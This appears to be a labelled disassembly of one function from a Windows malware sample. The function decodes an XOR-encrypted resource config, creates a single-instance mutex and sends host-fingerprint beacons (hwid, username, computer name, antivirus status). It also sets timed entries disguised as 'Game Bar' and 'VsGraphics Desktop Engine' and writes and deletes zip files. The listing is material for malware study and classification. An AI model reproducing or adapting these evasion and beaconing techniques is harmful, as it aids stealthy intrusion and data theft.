Function at 0x403260
Capabilities:
Check mutex on windows
Delete file
Encode data using xor
Extract resource via kernel32 functions
Parse url
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x5124
call fcn.0041bae0
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x50f8], eax
jmp 0x4032af
push str.FindResourceW
push dword [ebp - 0x50f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x5104], eax
jmp 0x4032d8
jmp 0x4032ea
push str.LoadResource
push dword [ebp - 0x50f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x511c], eax
jmp 0x403313
push str.SizeofResource
push dword [ebp - 0x50f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.FONTS
push str.TRUETYPE
push 0
mov dword [ebp - 0x50f8], eax
call dword [ebp - 0x5104]
mov edi, eax
test edi, edi
jne 0x40335a
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041b559
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
push edi
push 0
call dword [ebp - 0x511c]
push edi
push 0
mov esi, eax
call dword [ebp - 0x50f8]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x452504], eax
lea ecx, [eax + 1]
push ecx
push 0x40
call edi
mov dword [ebp - 0x50b8], eax
mov eax, dword [0x452504]
inc eax
push eax
push 0x40
call edi
push dword [0x452504]
mov dword [0x456d38], eax
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push dword [ebp - 0x50b8]
call fcn.0041cb70
mov edi, dword [ebp - 0x50b8]
xor esi, esi
add esp, 0xc
mov dword [ebp - 0x5078], 0x4e554f52
mov word [ebp - 0x5074], 0x3944
cmp dword [0x452504], esi
jle 0x40340b
mov eax, 0xaaaaaaab
mul esi
mov eax, esi
shr edx, 2
lea ecx, [edx + edx*2]
add ecx, ecx
sub eax, ecx
mov ecx, dword [0x456d38]
mov al, byte [ebp + eax - 0x5078]
xor al, byte [esi + edi]
mov byte [esi + ecx], al
inc esi
cmp esi, dword [0x452504]
jl 0x4033d6
mov edi, dword [ebp - 0x50b8]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x200
xorps xmm0, xmm0
mov dword [ebp - 0x50e8], 0
push 0
push 0x456b30
movlpd qword [ebp - 0x50dc], xmm0
movlpd qword [ebp - 0x50d4], xmm0
mov dword [ebp - 0x50cc], 0
movlpd qword [ebp - 0x50c0], xmm0
mov dword [ebp - 0x50f4], 0x3c
call fcn.0041d2e0
add esp, 0xc
mov dword [ebp - 0x50f0], 0x456b30
mov dword [ebp - 0x50ec], 0x200
push 0x200
push 0
push 0x456928
call fcn.0041d2e0
add esp, 0xc
mov dword [ebp - 0x50e4], 0x456928
mov dword [ebp - 0x50e0], 0x200
push 0x200
push 0
push 0x452710
call fcn.0041d2e0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x50f4]
add esp, 0xc
mov dword [ebp - 0x50c8], 0x452710
mov dword [ebp - 0x50c4], 0x200
push eax
mov eax, dword [0x456d38]
push 0
add eax, 0x2c
push eax
call edi
push eax
mov eax, dword [0x456d38]
add eax, 0x2c
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push 0x200
push 0
push 0x452508
call fcn.0041d2e0
add esp, 0xc
push 0x452710
push 0x452508
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x50b8]
push eax
push 0x44d8cc
push 0x452508
call fcn.0041eb88
add esp, 0xc
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x1000
push eax
push 0
mov dword [0x456b2c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x456d38]
add eax, 4
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40357d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x403345
call fcn.004023e0
push dword [0x452920]
call edi
push dword [0x4524f8]
mov esi, eax
call edi
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x4524f8]
mov esi, eax
push dword [0x452920]
push str.hwid_smail_s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x1000
lea eax, [ebp - 0x2070]
push 0
push eax
call fcn.0041d2e0
add esp, 0x1c
lea eax, [ebp - 0x2070]
push 0x1000
push eax
push esi
call edi
mov edx, eax
mov ecx, esi
call fcn.00401440
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x44d6d0
lea eax, [ebp - 0x2070]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x403619
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0x7d0
call esi
jmp 0x403610
mov ecx, dword [0x456d38]
lea ecx, [ecx + 0x22c]
call fcn.004015e0
movups xmm0, xmmword [0x44d8d0]
mov ecx, dword [0x456d38]
mov esi, eax
lea eax, [ebp - 0x70]
movups xmmword [ebp - 0x70], xmm0
push eax
movups xmm0, xmmword [0x44d8e0]
cmp dword [ecx], 3
mov ecx, esi
push str.10:00:00
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x44d8f0]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x44d900]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [0x44d910]
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [0x44d920]
movq qword [ebp - 0x20], xmm0
jne 0x4036d6
mov edx, str.VsGraphics_Desktop_Engine_10
call fcn.00401b30
lea eax, [ebp - 0x70]
mov edx, str.VsGraphics_Desktop_Engine_11
push eax
push str.11:00:00
mov ecx, esi
call fcn.00401b30
lea eax, [ebp - 0x70]
mov edx, str.VsGraphics_Desktop_Engine_12
push eax
push str.12:00:00
mov ecx, esi
call fcn.00401b30
lea eax, [ebp - 0x70]
mov edx, str.VsGraphics_Desktop_Engine_13
push eax
push str.13:00:00
mov ecx, esi
call fcn.00401b30
mov edx, str.VsGraphics_Desktop_Engine_14
jmp 0x403724
mov edx, str.Game_Bar_10
call fcn.00401b30
lea eax, [ebp - 0x70]
mov edx, str.Game_Bar_11
push eax
push str.11:00:00
mov ecx, esi
call fcn.00401b30
lea eax, [ebp - 0x70]
mov edx, str.Game_Bar_12
push eax
push str.12:00:00
mov ecx, esi
call fcn.00401b30
lea eax, [ebp - 0x70]
mov edx, str.Game_Bar_13
push eax
push str.13:00:00
mov ecx, esi
call fcn.00401b30
mov edx, str.Game_Bar_14
lea eax, [ebp - 0x70]
mov ecx, esi
push eax
push str.14:00:00
call fcn.00401b30
add esp, 0x28
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [0x452920]
call edi
push dword [0x4524f8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
call esi
push dword [0x452924]
add edi, eax
call esi
push dword [0x456b28]
add edi, eax
call esi
push dword [0x456d3c]
add edi, eax
call esi
push dword [0x456d34]
add edi, eax
call esi
push dword [0x456d30]
add edi, eax
call esi
add eax, edi
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp dword [0x452918], 0
mov esi, eax
push dword [0x4524f8]
push dword [0x452924]
je 0x4037d9
mov ecx, dword [0x456d38]
push dword [ecx]
push dword [0x456b28]
push dword [0x456d3c]
push dword [0x456d34]
push dword [0x456d30]
push dword [0x452920]
push str.hwid_susername_scompname_sosname_sarch1av_sagent_iprofile_smail_s
jmp 0x403803
mov eax, dword [0x456d38]
push dword [eax]
push dword [0x456b28]
push dword [0x456d3c]
push dword [0x456d34]
push dword [0x456d30]
push dword [0x452920]
push str.hwid_susername_scompname_sosname_sarch0av_sagent_iprofile_smail_s
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
push esi
call eax
add esp, 0x28
lea eax, [ebp - 0x2070]
push 0x1000
push 0
push eax
call fcn.0041d2e0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x2070]
add esp, 0xc
push 0x1000
push eax
push esi
call edi
mov edx, eax
mov ecx, esi
call fcn.00401440
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [0x456d30]
call fcn.0041ec84
add esp, 4
push dword [0x456d34]
call fcn.0041ec84
add esp, 4
push dword [0x456d3c]
call fcn.0041ec84
add esp, 4
push dword [0x456b28]
call fcn.0041ec84
add esp, 4
push dword [0x452924]
call fcn.0041ec84
add esp, 4
push dword [0x4524f8]
call fcn.0041ec84
add esp, 4
lea eax, [ebp - 0x4070]
push 0x2000
push 0
push eax
call fcn.0041d2e0
add esp, 0xc
lea eax, [ebp - 0x5070]
push 0x1000
push 0
push eax
call fcn.0041d2e0
mov esi, dword fs:[0x2c]
add esp, 0xc
mov esi, dword [esi]
mov dword [ebp - 0x50f8], esi
lea eax, [esi + 0x150]
mov dword [ebp - 0x511c], eax
call fcn.00403100
push dword [0x452920]
call edi
add eax, 0x400
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [esi + 0x10c]
mov edi, eax
movaps xmm1, xmmword [0x44dc80]
mov dl, 0x89
mov dword [ebp - 0x5104], edi
test cl, 1
jne 0x40396b
mov eax, dword [ebp - 0x511c]
or ecx, 1
mov byte [esi + 0x161], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x5100], xmm0
mov dword [esi + 0x10c], ecx
mov ecx, dword [ebp - 0x50fc]
movups xmmword [eax], xmm1
mov byte [eax + 0x10], dl
mov eax, dword [ebp - 0x5100]
add eax, 1
adc ecx, 0
jne 0x40395e
cmp eax, 0x11
jb 0x403951
push 0x441e70
call fcn.0041b828
add esp, 4
mov ecx, dword [ebp - 0x511c]
cmp byte [ecx + 0x11], 0
je 0x4039cd
xorps xmm0, xmm0
movlpd qword [ebp - 0x5100], xmm0
mov esi, dword [ebp - 0x50fc]
mov edi, dword [ebp - 0x5100]
nop
mov ecx, edi
mov eax, 0x19e1b389
and ecx, 7
mov edx, 0xa9af1f9f
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x511c]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x4039bd
cmp edi, 0x11
jb 0x403990
mov esi, dword [ebp - 0x50f8]
mov edi, dword [ebp - 0x5104]
mov byte [ecx + 0x11], 0
push dword [0x452920]
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1070]
push 0x1000
push 0
push eax
call fcn.0041d2e0
add esp, 0xc
lea eax, [ebp - 0x1070]
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, edi
call fcn.00401440
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea eax, [ebp - 0x1070]
push 0x44d6d0
push eax
call edi
test eax, eax
jne 0x403ff6
push dword [0x452920]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x400
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
movaps xmm1, xmmword [0x44dc60]
mov edi, eax
mov eax, dword [esi + 0xc8]
mov dword [ebp - 0x5114], edi
mov dword [ebp - 0x50a0], 0x82cce1a5
mov dword [ebp - 0x509c], 0x17dacef6
mov word [ebp - 0x5098], 0xb2be
test al, 1
jne 0x403aee
or eax, 1
mov word [esi + 0x14e], 0x1ad
xorps xmm0, xmm0
mov dword [esi + 0xc8], eax
mov ax, word [ebp - 0x5098]
movlpd qword [ebp - 0x5100], xmm0
movq xmm0, qword [ebp - 0x50a0]
mov ecx, dword [ebp - 0x50fc]
movups xmmword [esi + 0x134], xmm1
movq qword [esi + 0x144], xmm0
mov word [esi + 0x14c], ax
mov eax, dword [ebp - 0x5100]
add eax, 1
adc ecx, 0
jne 0x403ae1
cmp eax, 0x1b
jb 0x403ad4
push 0x441e50
call fcn.0041b828
add esp, 4
mov eax, esi
cmp byte [eax + 0x14f], 0
lea ecx, [eax + 0x134]
mov dword [ebp - 0x5104], ecx
je 0x403b5d
xorps xmm0, xmm0
movlpd qword [ebp - 0x5100], xmm0
mov esi, dword [ebp - 0x50fc]
mov edi, dword [ebp - 0x5100]
nop dword [eax]
mov ecx, edi
mov eax, 0xe9ad8383
and ecx, 7
mov edx, 0x63afa19b
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x5104]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x403b4d
cmp edi, 0x1b
jb 0x403b20
mov esi, dword [ebp - 0x50f8]
mov edi, dword [ebp - 0x5114]
mov byte [ecx + 0x1b], 0
push dword [0x452920]
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1070]
push 0x1000
push 0
push eax
call fcn.0041d2e0
add esp, 0xc
lea eax, [ebp - 0x1070]
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, edi
call fcn.00401440
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [ebp - 0x1070]
push eax
call fcn.00404750
mov ecx, dword [esi + 0xa8]
mov dword [ebp - 0x5104], eax
mov dword [ebp - 0x5088], 0xba5cc04b
test cl, 1
jne 0x403c20
mov eax, dword [ebp - 0x5088]
or ecx, 1
xorps xmm0, xmm0
mov word [esi + 0xa4], 0x1e5
movlpd qword [ebp - 0x5100], xmm0
mov dword [esi + 0xa8], ecx
mov ecx, dword [ebp - 0x50fc]
mov dword [esi + 0xa0], eax
mov eax, dword [ebp - 0x5100]
add eax, 1
adc ecx, 0
jne 0x403c13
cmp eax, 5
jb 0x403c06
push 0x441e30
call fcn.0041b828
add esp, 4
mov eax, esi
cmp byte [eax + 0xa5], 0
lea ecx, [eax + 0xa0]
mov dword [ebp - 0x5114], ecx
je 0x403c87
xorps xmm0, xmm0
movlpd qword [ebp - 0x5100], xmm0
mov esi, dword [ebp - 0x50fc]
mov edi, dword [ebp - 0x5100]
nop
mov ecx, edi
mov eax, 0xdf31a125
and ecx, 7
mov edx, 0x71473de5
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x5114]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x403c7d
cmp edi, 5
jb 0x403c50
mov esi, dword [ebp - 0x50f8]
mov byte [ecx + 5], 0
push ecx
push dword [ebp - 0x5104]
call fcn.00404730
mov ecx, dword [esi + 0xb0]
mov dword [ebp - 0x50fc], eax
mov dword [ebp - 0x5090], 0x9816be07
test cl, 1
jne 0x403cfd
mov eax, dword [ebp - 0x5090]
or ecx, 1
xorps xmm0, xmm0
mov word [esi + 0x17c], 0x115
movlpd qword [ebp - 0x5118], xmm0
mov dword [esi + 0xb0], ecx
mov ecx, dword [ebp - 0x5114]
mov dword [esi + 0x178], eax
mov eax, dword [ebp - 0x5118]
add eax, 1
adc ecx, 0
jne 0x403cf0
cmp eax, 5
jb 0x403ce3
push 0x441e10
call fcn.0041b828
add esp, 4
mov eax, esi
cmp byte [eax + 0x17d], 0
lea ecx, [eax + 0x178]
mov dword [ebp - 0x5114], ecx
je 0x403d67
xorps xmm0, xmm0
movlpd qword [ebp - 0x5110], xmm0
mov esi, dword [ebp - 0x510c]
mov edi, dword [ebp - 0x5110]
nop dword [eax + eax]
mov ecx, edi
mov eax, 0xeb65df77
and ecx, 7
mov edx, 0x894f7d15
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x5114]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x403d5d
cmp edi, 5
jb 0x403d30
mov esi, dword [ebp - 0x50f8]
mov byte [ecx + 5], 0
push ecx
push dword [ebp - 0x5104]
call fcn.00404730
mov dword [ebp - 0x5114], eax
mov eax, dword [ebp - 0x50fc]
push dword [eax + 0x10]
lea eax, [ebp - 0x5070]
push 0x452508
push 0x456928
push 0x456b30
push str._hs:___hs_hs__hs.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x4070]
push dword [0x452914]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str._slr.zip
lea eax, [ebp - 0x4070]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebp - 0x5120]
lea ecx, [ebp - 0x5070]
call fcn.00401530
push 0
push 0x80
push 2
push 0
push 1
mov dword [ebp - 0x50fc], eax
lea eax, [ebp - 0x4070]
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov edi, eax
lea eax, [ebp - 0x50b4]
push eax
push dword [ebp - 0x5120]
push dword [ebp - 0x50fc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4070]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x4070]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
lea ecx, [edi + edi]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push edi
push eax
mov dword [ebp - 0x5104], eax
lea eax, [ebp - 0x4070]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x4070]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x5114]
push ecx
mov ecx, dword [ebp - 0x5104]
mov edx, dword [edx + 0x10]
call fcn.00401800
add esp, 4
push dword [0x452920]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x400
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [esi + 0xfc]
mov edi, eax
movaps xmm1, xmmword [0x44dc70]
mov dword [ebp - 0x5114], edi
test cl, 1
jne 0x403f22
or ecx, 1
mov word [esi + 0x174], 0x1b7
xorps xmm0, xmm0
mov dword [esi + 0xfc], ecx
movlpd qword [ebp - 0x5110], xmm0
mov ecx, dword [ebp - 0x510c]
mov eax, dword [ebp - 0x5110]
movups xmmword [esi + 0x164], xmm1
add eax, 1
adc ecx, 0
jne 0x403f15
cmp eax, 0x11
jb 0x403f08
push 0x441df0
call fcn.0041b828
add esp, 4
mov eax, esi
cmp byte [eax + 0x175], 0
lea ecx, [eax + 0x164]
mov dword [ebp - 0x50fc], ecx
je 0x403f8d
xorps xmm0, xmm0
movlpd qword [ebp - 0x5110], xmm0
mov esi, dword [ebp - 0x510c]
mov edi, dword [ebp - 0x5110]
mov ecx, edi
mov eax, 0x8b5579b7
and ecx, 7
mov edx, 0x4f67158d
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x50fc]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x403f7d
cmp edi, 0x11
jb 0x403f50
mov esi, dword [ebp - 0x50f8]
mov edi, dword [ebp - 0x5114]
mov byte [ecx + 0x11], 0
push dword [0x452920]
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1070]
push 0x1000
push 0
push eax
call fcn.0041d2e0
add esp, 0xc
lea eax, [ebp - 0x1070]
push 0x1000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, edi
call fcn.00401440
add esp, 8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call edi
lea eax, [ebp - 0x4070]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x5104]
call edi
jmp 0x40421d
push 0x44db4c
lea eax, [ebp - 0x1070]
push eax
call edi
test eax, eax
jne 0x40410a
mov eax, dword [esi + 0x128]
mov dword [ebp - 0x5080], 0x68d3b589
mov word [ebp - 0x507c], 0x8dc1
test al, 1
jne 0x40408a
or eax, 1
mov byte [esi + 0xba], 1
mov dword [esi + 0x128], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x5080]
mov dword [esi + 0xb4], eax
mov ax, word [ebp - 0x507c]
movlpd qword [ebp - 0x5110], xmm0
mov ecx, dword [ebp - 0x510c]
mov word [esi + 0xb8], ax
mov eax, dword [ebp - 0x5110]
nop word [eax + eax]
add eax, 1
adc ecx, 0
jne 0x40407d
cmp eax, 6
jb 0x404070
push 0x441dd0
call fcn.0041b828
add esp, 4
mov eax, esi
cmp byte [eax + 0xba], 0
lea ecx, [eax + 0xb4]
mov dword [ebp - 0x50fc], ecx
je 0x4040f7
xorps xmm0, xmm0
movlpd qword [ebp - 0x5110], xmm0
mov esi, dword [ebp - 0x510c]
mov edi, dword [ebp - 0x5110]
nop dword [eax + eax]
mov ecx, edi
mov eax, 0x1b19bbb
and ecx, 7
mov edx, 0xfb318daf
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x50fc]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x4040ed
cmp edi, 6
jb 0x4040c0
mov esi, dword [ebp - 0x50f8]
mov byte [ecx + 6], 0
push 2
mov edx, ecx
mov ecx, str.slr_2.zip
push 0x44db50
jmp 0x404215
push 0x44dba4
lea eax, [ebp - 0x1070]
push eax
call edi
test eax, eax
jne 0x40421d
mov eax, dword [esi + 0x9c]
mov dword [ebp - 0x5078], 0xd261f372
mov word [ebp - 0x5074], 0xb5e7
test al, 1
jne 0x40419a
or eax, 1
mov byte [esi + 0x106], 1
mov dword [esi + 0x9c], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x5078]
mov dword [esi + 0x100], eax
mov ax, word [ebp - 0x5074]
movlpd qword [ebp - 0x5110], xmm0
mov ecx, dword [ebp - 0x510c]
mov word [esi + 0x104], ax
mov eax, dword [ebp - 0x5110]
nop
add eax, 1
adc ecx, 0
jne 0x40418d
cmp eax, 6
jb 0x404180
push 0x441db0
call fcn.0041b828
add esp, 4
mov eax, esi
cmp byte [eax + 0x106], 0
lea ecx, [eax + 0x100]
mov dword [ebp - 0x50fc], ecx
je 0x404207
xorps xmm0, xmm0
movlpd qword [ebp - 0x5110], xmm0
mov esi, dword [ebp - 0x510c]
mov edi, dword [ebp - 0x5110]
nop dword [eax + eax]
mov ecx, edi
mov eax, 0xbb03dd41
and ecx, 7
mov edx, 0x1ff9b589
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x50fc]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x4041fd
cmp edi, 6
jb 0x4041d0
mov esi, dword [ebp - 0x50f8]
mov byte [ecx + 6], 0
push 3
mov edx, ecx
mov ecx, str.slr_3.zip
push 0x44dba8
call fcn.00402b00
add esp, 8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x4038e7